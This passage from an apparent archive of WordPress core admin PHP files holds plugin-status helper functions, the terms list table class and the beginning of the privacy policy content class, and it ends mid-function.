				__( 'The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	}

	if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
	}

	WP_Privacy_Policy_Content::add( $plugin_name, $policy_text );
}

/**
 * Determines whether a plugin is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the list of paused plugins. False, if not in the list.
 */
function is_plugin_paused( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	if ( ! is_plugin_active( $plugin ) ) {
		return false;
	}

	list( $plugin ) = explode( '/', $plugin );

	return array_key_exists( $plugin, $GLOBALS['_paused_plugins'] );
}

/**
 * Gets the error that was recorded for a paused plugin.
 *
 * @since 5.2.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return array|false Array of error information as returned by `error_get_last()`,
 *                     or false if none was recorded.
 */
function wp_get_plugin_error( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	list( $plugin ) = explode( '/', $plugin );

	if ( ! array_key_exists( $plugin, $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	return $GLOBALS['_paused_plugins'][ $plugin ];
}

/**
 * Tries to resume a single plugin.
 *
 * If a redirect was provided, we first ensure the plugin does not throw fatal
 * errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message and the plugin will not be resumed.
 *
 * @since 5.2.0
 *
 * @param string $plugin   Single plugin to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return true|WP_Error True on success, false if `$plugin` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_plugin( $plugin, $redirect = '' ) {
	/*
	 * We'll override this later if the plugin could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		wp_redirect(
			add_query_arg(
				'_error_nonce',
				wp_create_nonce( 'plugin-resume-error_' . $plugin ),
				$redirect
			)
		);

		// Load the plugin to test whether it throws a fatal error.
		ob_start();
		plugin_sandbox_scrape( $plugin );
		ob_clean();
	}

	list( $extension ) = explode( '/', $plugin );

	$result = wp_paused_plugins()->delete( $extension );

	if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_plugin',
			__( 'Could not resume the plugin.' )
		);
	}

	return true;
}

/**
 * Renders an admin notice in case some plugins have been paused due to errors.
 *
 * @since 5.2.0
 *
 * @global string $pagenow The filename of the current screen.
 */
function paused_plugins_notice() {
	if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'resume_plugins' ) ) {
		return;
	}

	if ( ! isset( $GLOBALS['_paused_plugins'] ) || empty( $GLOBALS['_paused_plugins'] ) ) {
		return;
	}

	$message = sprintf(
		'<strong>%s</strong><br>%s</p><p><a href="%s">%s</a>',
		__( 'One or more plugins failed to load properly.' ),
		__( 'You can find more details and make changes on the Plugins screen.' ),
		esc_url( admin_url( 'plugins.php?plugin_status=paused' ) ),
		__( 'Go to the Plugins screen' )
	);
	wp_admin_notice(
		$message,
		array( 'type' => 'error' )
	);
}

/**
 * Renders an admin notice when a plugin was deactivated during an update.
 *
 * Displays an admin notice in case a plugin has been deactivated during an
 * upgrade due to incompatibility with the current version of WordPress.
 *
 * @since 5.8.0
 * @access private
 *
 * @global string $pagenow    The filename of the current screen.
 * @global string $wp_version The WordPress version string.
 */
function deactivated_plugins_notice() {
	if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'activate_plugins' ) ) {
		return;
	}

	$blog_deactivated_plugins = get_option( 'wp_force_deactivated_plugins' );
	$site_deactivated_plugins = array();

	if ( false === $blog_deactivated_plugins ) {
		// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
		update_option( 'wp_force_deactivated_plugins', array() );
	}

	if ( is_multisite() ) {
		$site_deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins' );
		if ( false === $site_deactivated_plugins ) {
			// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
			update_site_option( 'wp_force_deactivated_plugins', array() );
		}
	}

	if ( empty( $blog_deactivated_plugins ) && empty( $site_deactivated_plugins ) ) {
		// No deactivated plugins.
		return;
	}

	$deactivated_plugins = array_merge( $blog_deactivated_plugins, $site_deactivated_plugins );

	foreach ( $deactivated_plugins as $plugin ) {
		if ( ! empty( $plugin['version_compatible'] ) && ! empty( $plugin['version_deactivated'] ) ) {
			$explanation = sprintf(
				/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version, 4: Compatible plugin version. */
				__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s, please upgrade to %1$s %4$s or later.' ),
				$plugin['plugin_name'],
				$plugin['version_deactivated'],
				$GLOBALS['wp_version'],
				$plugin['version_compatible']
			);
		} else {
			$explanation = sprintf(
				/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version. */
				__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s.' ),
				$plugin['plugin_name'],
				! empty( $plugin['version_deactivated'] ) ? $plugin['version_deactivated'] : '',
				$GLOBALS['wp_version'],
				$plugin['version_compatible']
			);
		}

		$message = sprintf(
			'<strong>%s</strong><br>%s</p><p><a href="%s">%s</a>',
			sprintf(
				/* translators: %s: Name of deactivated plugin. */
				__( '%s plugin deactivated during WordPress upgrade.' ),
				$plugin['plugin_name']
			),
			$explanation,
			esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
			__( 'Go to the Plugins screen' )
		);
		wp_admin_notice( $message, array( 'type' => 'warning' ) );
	}

	// Empty the options.
	update_option( 'wp_force_deactivated_plugins', array() );
	if ( is_multisite() ) {
		update_site_option( 'wp_force_deactivated_plugins', array() );
	}
}
class-wp-terms-list-table.php000064400000051205150275632050012204 0ustar00<?php
/**
 * List Table API: WP_Terms_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying terms in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Terms_List_Table extends WP_List_Table {

	public $callback_args;

	private $level;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $post_type
	 * @global string $taxonomy
	 * @global string $action
	 * @global object $tax
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type, $taxonomy, $action, $tax;

		parent::__construct(
			array(
				'plural'   => 'tags',
				'singular' => 'tag',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$action    = $this->screen->action;
		$post_type = $this->screen->post_type;
		$taxonomy  = $this->screen->taxonomy;

		if ( empty( $taxonomy ) ) {
			$taxonomy = 'post_tag';
		}

		if ( ! taxonomy_exists( $taxonomy ) ) {
			wp_die( __( 'Invalid taxonomy.' ) );
		}

		$tax = get_taxonomy( $taxonomy );

		// @todo Still needed? Maybe just the show_ui part.
		if ( empty( $post_type ) || ! in_array( $post_type, get_post_types( array( 'show_ui' => true ) ), true ) ) {
			$post_type = 'post';
		}
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
	}

	/**
	 */
	public function prepare_items() {
		$taxonomy = $this->screen->taxonomy;

		$tags_per_page = $this->get_items_per_page( "edit_{$taxonomy}_per_page" );

		if ( 'post_tag' === $taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );

			/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.7.0
			 * @deprecated 2.8.0 Use {@see 'edit_tags_per_page'} instead.
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters_deprecated( 'tagsperpage', array( $tags_per_page ), '2.8.0', 'edit_tags_per_page' );
		} elseif ( 'category' === $taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Categories list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of categories to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
		}

		$search = ! empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';

		$args = array(
			'taxonomy'   => $taxonomy,
			'search'     => $search,
			'page'       => $this->get_pagenum(),
			'number'     => $tags_per_page,
			'hide_empty' => 0,
		);

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
		}

		if ( ! empty( $_REQUEST['order'] ) ) {
			$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
		}

		$args['offset'] = ( $args['page'] - 1 ) * $args['number'];

		// Save the values because 'number' and 'offset' can be subsequently overridden.
		$this->callback_args = $args;

		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
			// We'll need the full set of terms then.
			$args['number'] = 0;
			$args['offset'] = $args['number'];
		}

		$this->items = get_terms( $args );

		$this->set_pagination_args(
			array(
				'total_items' => wp_count_terms(
					array(
						'taxonomy' => $taxonomy,
						'search'   => $search,
					)
				),
				'per_page'    => $tags_per_page,
			)
		);
	}

	/**
	 */
	public function no_items() {
		echo get_taxonomy( $this->screen->taxonomy )->labels->not_found;
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) {
			$actions['delete'] = __( 'Delete' );
		}

		return $actions;
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && 'delete' === $_REQUEST['action'] ) {
			return 'bulk-delete';
		}

		return parent::current_action();
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => _x( 'Name', 'term name' ),
			'description' => __( 'Description' ),
			'slug'        => __( 'Slug' ),
		);

		if ( 'link_category' === $this->screen->taxonomy ) {
			$columns['links'] = __( 'Links' );
		} else {
			$columns['posts'] = _x( 'Count', 'Number/count of items' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		$taxonomy = $this->screen->taxonomy;

		if ( ! isset( $_GET['orderby'] ) && is_taxonomy_hierarchical( $taxonomy ) ) {
			$name_orderby_text = __( 'Table ordered hierarchically.' );
		} else {
			$name_orderby_text = __( 'Table ordered by Name.' );
		}

		return array(
			'name'        => array( 'name', false, _x( 'Name', 'term name' ), $name_orderby_text, 'asc' ),
			'description' => array( 'description', false, __( 'Description' ), __( 'Table ordered by Description.' ) ),
			'slug'        => array( 'slug', false, __( 'Slug' ), __( 'Table ordered by Slug.' ) ),
			'posts'       => array( 'count', false, _x( 'Count', 'Number/count of items' ), __( 'Table ordered by Posts Count.' ) ),
			'links'       => array( 'count', false, __( 'Links' ), __( 'Table ordered by Links.' ) ),
		);
	}

	/**
	 */
	public function display_rows_or_placeholder() {
		$taxonomy = $this->screen->taxonomy;

		$number = $this->callback_args['number'];
		$offset = $this->callback_args['offset'];

		// Convert it to table rows.
		$count = 0;

		if ( empty( $this->items ) || ! is_array( $this->items ) ) {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
			return;
		}

		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $this->callback_args['orderby'] ) ) {
			if ( ! empty( $this->callback_args['search'] ) ) {// Ignore children on searches.
				$children = array();
			} else {
				$children = _get_term_hierarchy( $taxonomy );
			}

			/*
			 * Some funky recursion to get the job done (paging & parents mainly) is contained within.
			 * Skip it for non-hierarchical taxonomies for performance sake.
			 */
			$this->_rows( $taxonomy, $this->items, $children, $offset, $number, $count );
		} else {
			foreach ( $this->items as $term ) {
				$this->single_row( $term );
			}
		}
	}

	/**
	 * @param string $taxonomy
	 * @param array  $terms
	 * @param array  $children
	 * @param int    $start
	 * @param int    $per_page
	 * @param int    $count
	 * @param int    $parent_term
	 * @param int    $level
	 */
	private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent_term = 0, $level = 0 ) {

		$end = $start + $per_page;

		foreach ( $terms as $key => $term ) {

			if ( $count >= $end ) {
				break;
			}

			if ( $term->parent !== $parent_term && empty( $_REQUEST['s'] ) ) {
				continue;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
				$my_parents = array();
				$parent_ids = array();
				$p          = $term->parent;

				while ( $p ) {
					$my_parent    = get_term( $p, $taxonomy );
					$my_parents[] = $my_parent;
					$p            = $my_parent->parent;

					if ( in_array( $p, $parent_ids, true ) ) { // Prevent parent loops.
						break;
					}

					$parent_ids[] = $p;
				}

				unset( $parent_ids );

				$num_parents = count( $my_parents );

				while ( $my_parent = array_pop( $my_parents ) ) {
					echo "\t";
					$this->single_row( $my_parent, $level - $num_parents );
					--$num_parents;
				}
			}

			if ( $count >= $start ) {
				echo "\t";
				$this->single_row( $term, $level );
			}

			++$count;

			unset( $terms[ $key ] );

			if ( isset( $children[ $term->term_id ] ) && empty( $_REQUEST['s'] ) ) {
				$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
			}
		}
	}

	/**
	 * @global string $taxonomy
	 * @param WP_Term $tag   Term object.
	 * @param int     $level
	 */
	public function single_row( $tag, $level = 0 ) {
		global $taxonomy;
		$tag = sanitize_term( $tag, $taxonomy );

		$this->level = $level;

		if ( $tag->parent ) {
			$count = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
			$level = 'level-' . $count;
		} else {
			$level = 'level-0';
		}

		echo '<tr id="tag-' . $tag->term_id . '" class="' . $level . '">';
		$this->single_row_columns( $tag );
		echo '</tr>';
	}

	/**
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item Term object.
	 * @return string
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			return sprintf(
				'<input type="checkbox" name="delete_tags[]" value="%1$s" id="cb-select-%1$s" />' .
				'<label for="cb-select-%1$s"><span class="screen-reader-text">%2$s</span></label>',
				$tag->term_id,
				/* translators: Hidden accessibility text. %s: Taxonomy term name. */
				sprintf( __( 'Select %s' ), $tag->name )
			);
		}

		return '&nbsp;';
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_name( $tag ) {
		$taxonomy = $this->screen->taxonomy;

		$pad = str_repeat( '&#8212; ', max( 0, $this->level ) );

		/**
		 * Filters display of the term name in the terms list table.
		 *
		 * The default output may include padding due to the term's
		 * current level in the term hierarchy.
		 *
		 * @since 2.5.0
		 *
		 * @see WP_Terms_List_Table::column_name()
		 *
		 * @param string $pad_tag_name The term name, padded if not top-level.
		 * @param WP_Term $tag         Term object.
		 */
		$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );

		$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );

		$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

		$edit_link = get_edit_term_link( $tag, $taxonomy, $this->screen->post_type );

		if ( $edit_link ) {
			$edit_link = add_query_arg(
				'wp_http_referer',
				urlencode( wp_unslash( $uri ) ),
				$edit_link
			);
			$name      = sprintf(
				'<a class="row-title" href="%s" aria-label="%s">%s</a>',
				esc_url( $edit_link ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $tag->name ) ),
				$name
			);
		}

		$output = sprintf(
			'<strong>%s</strong><br />',
			$name
		);

		/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
		$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_taxonomy', true, $taxonomy );

		if ( $quick_edit_enabled ) {
			$output .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
			$output .= '<div class="name">' . $qe_data->name . '</div>';

			/** This filter is documented in wp-admin/edit-tag-form.php */
			$output .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug, $qe_data ) . '</div>';
			$output .= '<div class="parent">' . $qe_data->parent . '</div></div>';
		}

		return $output;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item        Tag being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for terms, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		$taxonomy = $this->screen->taxonomy;
		$uri      = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

		$actions = array();

		if ( current_user_can( 'edit_term', $tag->term_id ) ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url(
					add_query_arg(
						'wp_http_referer',
						urlencode( wp_unslash( $uri ) ),
						get_edit_term_link( $tag, $taxonomy, $this->screen->post_type )
					)
				),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Edit' )
			);

			/**
			 * Filters whether Quick Edit should be enabled for the given taxonomy.
			 *
			 * @since 6.4.0
			 *
			 * @param bool   $enable   Whether to enable the Quick Edit functionality. Default true.
			 * @param string $taxonomy Taxonomy name.
			 */
			$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_taxonomy', true, $taxonomy );

			if ( $quick_edit_enabled ) {
				$actions['inline hide-if-no-js'] = sprintf(
					'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
					/* translators: %s: Taxonomy term name. */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $tag->name ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			$actions['delete'] = sprintf(
				'<a href="%s" class="delete-tag aria-button-if-js" aria-label="%s">%s</a>',
				wp_nonce_url( "edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Delete &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Delete' )
			);
		}

		if ( is_term_publicly_viewable( $tag ) ) {
			$actions['view'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_term_link( $tag ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'View &#8220;%s&#8221; archive' ), $tag->name ) ),
				__( 'View' )
			);
		}

		/**
		 * Filters the action links displayed for each term in the Tags list table.
		 *
		 * @since 2.8.0
		 * @since 3.0.0 Deprecated in favor of {@see '{$taxonomy}_row_actions'} filter.
		 * @since 5.4.2 Restored (un-deprecated).
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( 'tag_row_actions', $actions, $tag );

		/**
		 * Filters the action links displayed for each term in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `category_row_actions`
		 *  - `post_tag_row_actions`
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag );

		return $this->row_actions( $actions );
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_description( $tag ) {
		if ( $tag->description ) {
			return $tag->description;
		} else {
			return '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				__( 'No description' ) .
			'</span>';
		}
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_slug( $tag ) {
		/** This filter is documented in wp-admin/edit-tag-form.php */
		return apply_filters( 'editable_slug', $tag->slug, $tag );
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_posts( $tag ) {
		$count = number_format_i18n( $tag->count );

		$tax = get_taxonomy( $this->screen->taxonomy );

		$ptype_object = get_post_type_object( $this->screen->post_type );
		if ( ! $ptype_object->show_ui ) {
			return $count;
		}

		if ( $tax->query_var ) {
			$args = array( $tax->query_var => $tag->slug );
		} else {
			$args = array(
				'taxonomy' => $tax->name,
				'term'     => $tag->slug,
			);
		}

		if ( 'post' !== $this->screen->post_type ) {
			$args['post_type'] = $this->screen->post_type;
		}

		if ( 'attachment' === $this->screen->post_type ) {
			return "<a href='" . esc_url( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>";
		}

		return "<a href='" . esc_url( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>";
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_links( $tag ) {
		$count = number_format_i18n( $tag->count );

		if ( $count ) {
			$count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>";
		}

		return $count;
	}

	/**
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item        Term object.
	 * @param string  $column_name Name of the column.
	 * @return string
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		/**
		 * Filters the displayed columns in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$this->screen->taxonomy`,
		 * refers to the slug of the current taxonomy.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_category_custom_column`
		 *  - `manage_post_tag_custom_column`
		 *
		 * @since 2.8.0
		 *
		 * @param string $string      Custom column output. Default empty.
		 * @param string $column_name Name of the column.
		 * @param int    $term_id     Term ID.
		 */
		return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id );
	}

	/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 */
	public function inline_edit() {
		$tax = get_taxonomy( $this->screen->taxonomy );

		if ( ! current_user_can( $tax->cap->edit_terms ) ) {
			return;
		}
		?>

		<form method="get">
		<table style="display: none"><tbody id="inlineedit">

			<tr id="inline-edit" class="inline-edit-row" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
			<div class="inline-edit-wrapper">

			<fieldset>
				<legend class="inline-edit-legend"><?php _e( 'Quick Edit' ); ?></legend>
				<div class="inline-edit-col">
				<label>
					<span class="title"><?php _ex( 'Name', 'term name' ); ?></span>
					<span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span>
				</label>

				<label>
					<span class="title"><?php _e( 'Slug' ); ?></span>
					<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
				</label>
				</div>
			</fieldset>

			<?php
			$core_columns = array(
				'cb'          => true,
				'description' => true,
				'name'        => true,
				'slug'        => true,
				'posts'       => true,
			);

			list( $columns ) = $this->get_column_info();

			foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

				/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
				do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy );
			}
			?>

			<div class="inline-edit-save submit">
				<button type="button" class="save button button-primary"><?php echo $tax->labels->update_item; ?></button>
				<button type="button" class="cancel button"><?php _e( 'Cancel' ); ?></button>
				<span class="spinner"></span>

				<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
				<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" />
				<input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" />

				<?php
				wp_admin_notice(
					'<p class="error"></p>',
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						'paragraph_wrap'     => false,
					)
				);
				?>
			</div>
			</div>

			</td></tr>

		</tbody></table>
		</form>
		<?php
	}
}
class-wp-privacy-policy-content.php000064400000077431150275632050013447 0ustar00<?php
/**
 * WP_Privacy_Policy_Content class.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

#[AllowDynamicProperties]
final class WP_Privacy_Policy_Content {

	private static $policy_content = array();

	/**
	 * Constructor
	 *
	 * @since 4.9.6
	 */
	private function __construct() {}

	/**
	 * Adds content to the postbox shown when editing the privacy policy.
	 *
	 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
	 * The suggested text should contain information about any functionality that affects user privacy,
	 * and will be shown in the Suggested Privacy Policy Content postbox.
	 *
	 * Intended for use from `wp_add_privacy_policy_content()`.
	 *
	 * @since 4.9.6
	 *
	 * @param string $plugin_name The name of the plugin or theme that is suggesting content for the site's privacy policy.
	 * @param string $policy_text The suggested content for inclusion in the policy.
	 */
	public static function add( $plugin_name, $policy_text ) {
		if ( empty( $plugin_name ) || empty( $policy_text ) ) {
			return;
		}

		$data = array(
			'plugin_name' => $plugin_name,
			'policy_text' => $policy_text,
		);

		if ( ! in_array( $data, self::$policy_content, true ) ) {
			self::$policy_content[] = $data;
		}
	}

	/**
	 * Performs a quick check to determine whether any privacy info has changed.
	 *
	 * @since 4.9.6
	 */
	public static function text_change_check() {

		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		// The site doesn't have a privacy policy.
		if ( empty( $policy_page_id ) ) {
			return false;
		}

		if ( ! current_user_can( 'edit_post', $policy_page_id ) ) {
			return false;
		}

		$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );

		// Updates are not relevant if the user has not reviewed any suggestions yet.
		if ( empty( $old ) ) {
			return false;
		}

		$cached = get_option( '_wp_suggested_policy_text_has_changed' );

		/*
		 * When this function is called before `admin_init`, `self::$policy_content`
		 * has not been populated yet, so use the cached result from the last
		 * execution instead.
		 */
		if ( ! did_action( 'admin_init' ) ) {
			return 'changed' === $cached;
		}

		$new = self::$policy_content;

		// Remove the extra values added to the meta.
		foreach ( $old as $key => $data ) {
			if ( ! is_array( $data ) || ! empty( $data['removed'] ) ) {
				unset( $old[ $key ] );
				continue;
			}

			$old[ $key ] = array(
				'plugin_name' => $data['plugin_name'],
				'policy_text' => $data['policy_text'],
			);
		}

		// Normalize the order of texts, to facilitate comparison.
		sort( $old );
		sort( $new );

		/*
		 * The == operator (equal, not identical) was used intentionally.
		 * See https://www.php.net/manual/en/language.operators.array.php
		 */
		if ( $new != $old ) {
			/*
			 * A plugin was activated or deactivated, or some policy text has changed.
			 * Show a notice on the relevant screens to inform the admin.
			 */
			add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'policy_text_changed_notice' ) );
			$state = 'changed';
		} else {
			$state = 'not-changed';
		}

		// Cache the result for use before `admin_init` (see above).
		if ( $cached !== $state ) {
			update_option( '_wp_suggested_policy_text_has_changed', $state );
		}

		return 'changed' === $state;
	}

	/**
	 * Outputs a warning when some privacy info has changed.
	 *
	 * @since 4.9.6
	 */
	public static function policy_text_changed_notice() {
		$screen = get_current_screen()->id;

		if ( 'privacy' !== $screen ) {
			return;
		}

		$privacy_message = sprintf(
			/* translators: %s: Privacy Policy Guide URL. */
			__( 'The suggested privacy policy text has changed. Please <a href="%s">review the guide</a> and update your privacy policy.' ),
			esc_url( admin_url( 'privacy-policy-guide.php?tab=policyguide' ) )
		);

		wp_admin_notice(
			$privacy_message,
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'policy-text-updated' ),
				'dismissible'        => true,
			)
		);
	}

	/**
	 * Updates the cached policy info when the policy page is updated.
	 *
	 * @since 4.9.6
	 * @access private
	 *
	 * @param int $post_id The ID of the updated post.
	 */
	public static function _policy_page_updated( $post_id ) {
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( ! $policy_page_id || $policy_page_id !== (int) $post_id ) {
			return;
		}

		// Remove updated|removed status.
		$old          = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
		$done         = array();
		$update_cache = false;

		foreach ( $old as $old_key => $old_data ) {
			if ( ! empty( $old_data['removed'] ) ) {
				// Remove the old policy text.
				$update_cache = true;
				continue;
			}

			if ( ! empty( $old_data['updated'] ) ) {
				// 'updated' is now 'added'.
				$done[]       = array(
					'plugin_name' => $old_data['plugin_name'],
					'policy_text' => $old_data['policy_text'],
					'added'       => $old_data['updated'],
				);
				$update_cache = true;
			} else {
				$done[] = $old_data;
			}
